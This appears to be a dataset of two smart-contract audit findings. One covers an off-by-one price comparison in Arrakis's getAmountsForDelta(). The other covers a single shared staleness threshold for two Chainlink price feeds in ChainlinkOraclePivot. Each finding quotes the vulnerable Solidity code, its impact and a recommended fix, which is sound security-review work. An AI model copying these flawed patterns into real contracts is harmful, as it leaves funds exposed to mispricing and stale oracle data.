The function `getAmountsForDelta()` at the `Underlying.sol` contract is used to compute the quantity of `token0` and `token1` to add to the position given a delta of liquidity. These quantities depend on the delta of liquidity, the current tick and the ticks of the range boundaries. Actually, `getAmountsForDelta()` uses the sqrt prices instead of the ticks, but they are equivalent since each tick represents a sqrt price.\\nThere exists 3 cases:\\nThe current tick is outside the range from the left, this means only `token0` should be added.\\nThe current tick is within the range, this means both `token0` and `token1` should be added.\\nThe current tick is outside the range from the right, this means only `token1` should be added.\\nThe issue on the implementation is on the first case, which is coded as follows:\\n```\\nif (sqrtRatioX96 <= sqrtRatioAX96) {\\n amount0 = SafeCast.toUint256(\\n SqrtPriceMath.getAmount0Delta(\\n sqrtRatioAX96,\\n sqrtRatioBX96,\\n liquidity\\n )\\n );\\n} \\n```\\n\\nThe implementation says that if the current price is equal to the price of the lower tick, it means that it is outside of the range and hence only `token0` should be added to the position.\\nBut for the UniswapV3 implementation, the current price must be lower in order to consider it outside:\\n```\\nif (_slot0.tick < params.tickLower) {\\n // current tick is below the passed range; liquidity can only become in range by crossing from left to\\n // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it\\n amount0 = SqrtPriceMath.getAmount0Delta(\\n TickMath.getSqrtRatioAtTick(params.tickLower),\\n TickMath.getSqrtRatioAtTick(params.tickUpper),\\n params.liquidityDelta\\n );\\n}\\n```\\n\\nReference
Change from:\\n```\\n// @audit-issue Change <= to <.\\nif (sqrtRatioX96 <= sqrtRatioAX96) {\\n amount0 = SafeCast.toUint256(\\n SqrtPriceMath.getAmount0Delta(\\n sqrtRatioAX96,\\n sqrtRatioBX96,\\n liquidity\\n )\\n );\\n}\\n```\\n\\nto:\\n```\\nif (sqrtRatioX96 < sqrtRatioAX96) {\\n amount0 = SafeCast.toUint256(\\n SqrtPriceMath.getAmount0Delta(\\n sqrtRatioAX96,\\n sqrtRatioBX96,\\n liquidity\\n )\\n );\\n}\\n```\\n
When the current price is equal to the left boundary of the range, the uniswap pool will request both `token0` and `token1`, but arrakis will only request from the user `token0` so the pool will lose some `token1` if it has enough to cover it.
```\\nif (sqrtRatioX96 <= sqrtRatioAX96) {\\n amount0 = SafeCast.toUint256(\\n SqrtPriceMath.getAmount0Delta(\\n sqrtRatioAX96,\\n sqrtRatioBX96,\\n liquidity\\n )\\n );\\n} \\n```\\n
outdated variable is not effective to check price feed timeliness
medium
In ChainlinkOraclePivot, it uses one `outdated` variable to check if the two price feeds are `outdated`. However, this is not effective because the price feeds have different update frequencies.\\nLet's have an example:\\nIn Polygon mainnet, ChainlinkOraclePivot uses two Chainlink price feeds: MATIC/ETH and ETH/USD.\\nWe can see that\\nIn function `_getLatestRoundData`, both price feeds use the same `outdated` variable.\\nIf we set the `outdated` variable to 27s, the priceFeedA will revert most of the time since it is too short for the 86400s heartbeat.\\nIf we set the `outdated` variable to 86400s, the priceFeedB can have a very `outdated` value without revert.\\n```\\n try priceFeedA.latestRoundData() returns (\\n uint80,\\n int256 price,\\n uint256,\\n uint256 updatedAt,\\n uint80\\n ) {\\n require(\\n block.timestamp - updatedAt <= outdated, // solhint-disable-line not-rely-on-time\\n "ChainLinkOracle: priceFeedA outdated."\\n );\\n\\n priceA = SafeCast.toUint256(price);\\n } catch {\\n revert("ChainLinkOracle: price feed A call failed.");\\n }\\n\\n try priceFeedB.latestRoundData() returns (\\n uint80,\\n int256 price,\\n uint256,\\n uint256 updatedAt,\\n uint80\\n ) {\\n require(\\n block.timestamp - updatedAt <= outdated, // solhint-disable-line not-rely-on-time\\n "ChainLinkOracle: priceFeedB outdated."\\n );\\n\\n priceB = SafeCast.toUint256(price);\\n } catch {\\n revert("ChainLinkOracle: price feed B call failed.");\\n }\\n```\\n
Having two `outdated` values for each price feed A and B.
The `outdated` variable is not effective to check the timeliness of prices. It can allow stale prices in one price feed or always revert in another price feed.
```\\n try priceFeedA.latestRoundData() returns (\\n uint80,\\n int256 price,\\n uint256,\\n uint256 updatedAt,\\n uint80\\n ) {\\n require(\\n block.timestamp - updatedAt <= outdated, // solhint-disable-line not-rely-on-time\\n "ChainLinkOracle: priceFeedA outdated."\\n );\\n\\n priceA = SafeCast.toUint256(price);\\n } catch {\\n revert("ChainLinkOracle: price feed A call failed.");\\n }\\n\\n try priceFeedB.latestRoundData() returns (\\n uint80,\\n int256 price,\\n uint256,\\n uint256 updatedAt,\\n uint80\\n ) {\\n require(\\n block.timestamp - updatedAt <= outdated, // solhint-disable-line not-rely-on-time\\n "ChainLinkOracle: priceFeedB outdated."\\n );\\n\\n priceB = SafeCast.toUint256(price);\\n } catch {\\n revert("ChainLinkOracle: price feed B call failed.");\\n }\\n```\\n